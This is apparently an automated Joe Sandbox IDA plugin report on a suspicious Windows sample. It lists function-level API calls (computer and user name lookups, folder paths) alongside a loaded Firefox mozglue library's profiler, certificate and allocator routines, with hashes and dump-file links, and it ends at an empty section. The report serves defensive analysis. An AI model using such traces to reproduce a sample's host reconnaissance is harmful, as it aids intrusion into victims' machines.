Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 57e65e7eb8306d7b855efeba6c3abc447ecc86272b74f8456d6209d157632edb
Instruction ID: 0e2c53a7d3100e811b12cbcc6ea42b1dc5d7f8779c1d65e590c4f1269256ba1f
Opcode Fuzzy Hash: 57e65e7eb8306d7b855efeba6c3abc447ecc86272b74f8456d6209d157632edb
Instruction Fuzzy Hash: E4F03970C0020CEFCB04EFA4CA496DDBB79EB04320F508599EC29A7291DBB45B49CF81

Function 009B8880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 009B88AB

Part of subcall function 009BA110: lstrcpy.KERNEL32(009C0DFF,00000000), ref: 009BA158

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3e5dfa2e2326dda4bf4fabf12b6a73b52f37d9d80951ebf51eb9906affd04dab
Instruction ID: 17f86f861670d802fdd356ba949f35d25696afcdd0d835dcaa49f8614ec24618
Opcode Fuzzy Hash: 3e5dfa2e2326dda4bf4fabf12b6a73b52f37d9d80951ebf51eb9906affd04dab
Instruction Fuzzy Hash: 32E01A31A4034C7BDB95EB94CC96FEE736C9B48B11F004294BA0C5B1C0EE70AB858B91

Function 009A1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009B7380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009B73B0
Part of subcall function 009B7380: RtlAllocateHeap.NTDLL(00000000), ref: 009B73B7
Part of subcall function 009B7380: GetComputerNameA.KERNEL32(?,00000104), ref: 009B73CF

Part of subcall function 009B72F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009A11B7), ref: 009B7320
Part of subcall function 009B72F0: RtlAllocateHeap.NTDLL(00000000), ref: 009B7327
Part of subcall function 009B72F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 009B733F

ExitProcess.KERNEL32 ref: 009A11C6

Memory Dump Source

Source File: 00000000.00000002.2321642183.00000000009A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.2321623489.00000000009A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000A9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000AA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000BE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000D66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2321996954.0000000000E82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322271622.0000000000E83000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322413851.0000000001024000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322431241.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_file.jbxd

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 8b4cf6562b6e926669daaa95eced89cf06a4be6e54b7d4ef47984f56ad5557ba
Instruction ID: 1c3665d505277de89984f1ac5ea610b80cbb86b25fe16355fd97a3cdc8a25253
Opcode Fuzzy Hash: 8b4cf6562b6e926669daaa95eced89cf06a4be6e54b7d4ef47984f56ad5557ba
Instruction Fuzzy Hash: 18E017A590830653DA1073F4BE56F6B7A8D5BA936AF000928FA08D7113EE25F81183A5

Non-executed Functions

Function 6CB05440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CB05492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB054A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB054BE
__Init_thread_footer.LIBCMT ref: 6CB054DB

Part of subcall function 6CB2AB3F: EnterCriticalSection.KERNEL32(6CB7E370,?,?,6CAF3527,6CB7F6CC,?,?,?,?,?,?,?,?,6CAF3284), ref: 6CB2AB49
Part of subcall function 6CB2AB3F: LeaveCriticalSection.KERNEL32(6CB7E370,?,6CAF3527,6CB7F6CC,?,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CB2AB7C

Part of subcall function 6CB2CBE8: GetCurrentProcess.KERNEL32(?,6CAF31A7), ref: 6CB2CBF1
Part of subcall function 6CB2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAF31A7), ref: 6CB2CBFA

GetCurrentThreadId.KERNEL32 ref: 6CB054F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CB05516
GetCurrentThreadId.KERNEL32 ref: 6CB0556A
AcquireSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB05577
moz_xmalloc.MOZGLUE(00000070), ref: 6CB05585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CB05590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CB055E6
ReleaseSRWLockExclusive.KERNEL32(6CB7F4B8), ref: 6CB05606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB05616

Part of subcall function 6CB2AB89: EnterCriticalSection.KERNEL32(6CB7E370,?,?,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284), ref: 6CB2AB94
Part of subcall function 6CB2AB89: LeaveCriticalSection.KERNEL32(6CB7E370,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CB2ABD1

GetCurrentThreadId.KERNEL32 ref: 6CB0563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB05646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CB0567C
free.MOZGLUE(?), ref: 6CB056AE

Part of subcall function 6CB15E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB15EDB
Part of subcall function 6CB15E90: memset.VCRUNTIME140(6CB57765,000000E5,55CCCCCC), ref: 6CB15F27
Part of subcall function 6CB15E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB15FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CB056E8
GetCurrentThreadId.KERNEL32 ref: 6CB05707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CB0570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CB05729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CB0574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CB0576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CB05796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CB057B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CB057CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CB05717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CB05791
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CB05D24
MOZ_PROFILER_STARTUP, xrefs: 6CB055E1
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CB05D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CB0584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CB05AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CB05CF9
GeckoMain, xrefs: 6CB05554, 6CB055D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB054B9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CB05D2B
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CB05766
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB054A3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CB057AE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CB05D1C
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CB05749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CB057C5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CB05BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CB05B38
[I %d/%d] profiler_init, xrefs: 6CB0564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB0548D
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CB056E3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CB05C56
MOZ_BASE_PROFILER_HELP, xrefs: 6CB05511
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CB05724

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 3220d483a180f8acaf62f6805a7c06e5f407ba2c8062295f600119b73d3eeac8
Instruction ID: affe179a89f2c5b759048492c425d84c244102f65b3cd461dc1c91e216043571
Opcode Fuzzy Hash: 3220d483a180f8acaf62f6805a7c06e5f407ba2c8062295f600119b73d3eeac8
Instruction Fuzzy Hash: 8E220574A043E09FEB119F74885866A7BB5EF46358F04052AEC5A97F41EB30D848CB6B

Function 6CB06C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB06CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB06D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CB06D26

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CB06D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB06D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CB06D73
free.MOZGLUE(00000000), ref: 6CB06D80
CertGetNameStringW.CRYPT32 ref: 6CB06DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CB06DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB06DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CB06DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CB06E10
CryptMsgClose.CRYPT32(00000000), ref: 6CB06E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CB06E34
CreateFileW.KERNEL32 ref: 6CB06EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CB06F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB06F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CB0709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB07103
free.MOZGLUE(00000000), ref: 6CB07153
CloseHandle.KERNEL32(?), ref: 6CB07176
__Init_thread_footer.LIBCMT ref: 6CB07209
__Init_thread_footer.LIBCMT ref: 6CB0723A
__Init_thread_footer.LIBCMT ref: 6CB0726B
__Init_thread_footer.LIBCMT ref: 6CB0729C
__Init_thread_footer.LIBCMT ref: 6CB072DC
__Init_thread_footer.LIBCMT ref: 6CB0730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB073C2
VerSetConditionMask.NTDLL ref: 6CB073F3
VerSetConditionMask.NTDLL ref: 6CB073FF
VerSetConditionMask.NTDLL ref: 6CB07406
VerSetConditionMask.NTDLL ref: 6CB0740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB0741A
moz_xmalloc.MOZGLUE(?), ref: 6CB0755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB07568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CB07585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB07598
free.MOZGLUE(00000000), ref: 6CB075AC

Part of subcall function 6CB2AB89: EnterCriticalSection.KERNEL32(6CB7E370,?,?,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284), ref: 6CB2AB94
Part of subcall function 6CB2AB89: LeaveCriticalSection.KERNEL32(6CB7E370,?,6CAF34DE,6CB7F6CC,?,?,?,?,?,?,?,6CAF3284,?,?,6CB156F6), ref: 6CB2ABD1

Strings

SHA256, xrefs: 6CB06EC0
wintrust.dll, xrefs: 6CB072CD
(, xrefs: 6CB0768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CB072C8

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 0687c80a3c5d489d626253dde395a6f038098c657f92d228beb55dd44e83ba6d
Instruction ID: aa52b682fe3968598ddc4a95a0f25a72a3f28fe795af2c33bb19e9569c02bf4d
Opcode Fuzzy Hash: 0687c80a3c5d489d626253dde395a6f038098c657f92d228beb55dd44e83ba6d
Instruction Fuzzy Hash: E5529771A012949FEB22DF64CC44BAEB7BDEF45714F104199E909A7640DB70AE84CF61

Function 6CB30DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB30F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB30F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB30FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB30FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB31031
LeaveCriticalSection.KERNEL32(?), ref: 6CB310D0
EnterCriticalSection.KERNEL32(?), ref: 6CB3117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB31C39
EnterCriticalSection.KERNEL32(6CB7E744), ref: 6CB33391
LeaveCriticalSection.KERNEL32(6CB7E744), ref: 6CB333CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB33431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB33437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB33793
Compile-time page size does not divide the runtime one., xrefs: 6CB33946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB33559, 6CB3382D, 6CB33848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB337BD
<jemalloc>, xrefs: 6CB33941, 6CB339F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB337D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB337A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB33A02
MOZ_CRASH(), xrefs: 6CB33950
MALLOC_OPTIONS, xrefs: 6CB335FE

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 9d7eaeeae61562cfaf3ec653985301d1979f1aeb337b75fa7de995d34dc1a65c
Instruction ID: 607e8237ecfdb1acd8af377b95ecdc8d56c3eccd0fad1078b753e0608a691194
Opcode Fuzzy Hash: 9d7eaeeae61562cfaf3ec653985301d1979f1aeb337b75fa7de995d34dc1a65c
Instruction Fuzzy Hash: 64537B71A056A18FD704CF28C540616BBE1FF89328F29C66DE86D9B791D731E842CB82

Function 6CB534A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB5355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB535BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB535E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB5363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB536CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB5373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB5378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB538BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB539EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB53EE2

Part of subcall function 6CB56180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB561DD
Part of subcall function 6CB56180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB5622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB540F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB5412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB54157

Part of subcall function 6CB56180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB56250
Part of subcall function 6CB56180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB56292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB5441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB54448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB5484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB54863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB54878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB54896
free.MOZGLUE ref: 6CB5489F

Strings

, xrefs: 6CB54CD2

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e4092782f8ef38d379cdad76eba5fea4197c323a9322b0c74409bca92b53e708
Instruction ID: b6eeff3ecffc3f729e1de334994da0fc717232b7fd6ec78205eab1d63864fdf6
Opcode Fuzzy Hash: e4092782f8ef38d379cdad76eba5fea4197c323a9322b0c74409bca92b53e708
Instruction Fuzzy Hash: EEF25874908B808FC725CF29C08469AFBF1FF8A348F518A5ED98997751DB319896CF42

Function 6CB064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

